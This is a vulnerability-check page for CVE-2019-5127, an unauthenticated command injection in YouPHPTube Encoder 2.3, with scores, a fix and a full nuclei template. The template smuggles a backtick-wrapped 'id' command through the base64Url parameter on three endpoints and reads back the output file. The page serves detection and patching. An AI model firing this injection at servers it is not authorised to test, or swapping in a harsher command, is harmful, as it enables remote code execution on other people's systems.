YouPHPTube Encoder 2.3 - Remote Command Injection

criticalseverity

9.8CVSS score

45.3%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

YouPHPTube Encoder 2.3 is susceptible to a command injection vulnerability which could allow an attacker to compromise the server. These exploitable unauthenticated command injections exist via the parameter base64Url in /objects/getImage.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially compromising the entire system.

Fix

Apply the latest patch or upgrade to a version that is not affected by this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/objects/getImage.php?base64Url={{base64(encode)}}=&format=png ; GET {{BaseURL}}/objects/getImageMP4.php?base64Url={{base64(encode)}}=&format=jpg ; GET {{BaseURL}}/objects/getSpiritsFromVideo.php?base64Url={{base64(encode)}}=&format=jpg
Send: GET {{BaseURL}}/objects/{{filename}}.txt
Positive when: matches /uid=[0-9]+.*gid=[0-9]+.*/ AND contains in header "text/plain" AND status 200

Run it with nuclei: nuclei -id CVE-2019-5127 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-5127

info:
  name: YouPHPTube Encoder 2.3 - Remote Command Injection
  author: pikpikcu
  severity: critical
  description: YouPHPTube Encoder 2.3 is susceptible to a command injection vulnerability which could allow an attacker to compromise the server. These exploitable unauthenticated command injections exist via the parameter base64Url in /objects/getImage.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially compromising the entire system.
  remediation: |
    Apply the latest patch or upgrade to a version that is not affected by this vulnerability.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2019-0917
    - https://nvd.nist.gov/vuln/detail/CVE-2019-5127
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
    - https://github.com/sobinge/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-5127
    cwe-id: CWE-78
    epss-score: 0.45302
    epss-percentile: 0.98796
    cpe: cpe:2.3:a:youphptube:youphptube_encoder:2.3:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: youphptube
    product: youphptube_encoder
  tags: cve,cve2019,rce,youphptube,vkev,vuln
variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"
  encode: "`id > {{filename}}.txt`"

http:
  - method: GET
    path:
      - "{{BaseURL}}/objects/getImage.php?base64Url={{base64(encode)}}=&format=png"
      - "{{BaseURL}}/objects/getImageMP4.php?base64Url={{base64(encode)}}=&format=jpg"
      - "{{BaseURL}}/objects/getSpiritsFromVideo.php?base64Url={{base64(encode)}}=&format=jpg"

    headers:
      Content-Type: application/x-www-form-urlencoded

  - method: GET
    path:
      - "{{BaseURL}}/objects/{{filename}}.txt"

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"

      - type: word
        part: header
        words:
          - text/plain

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from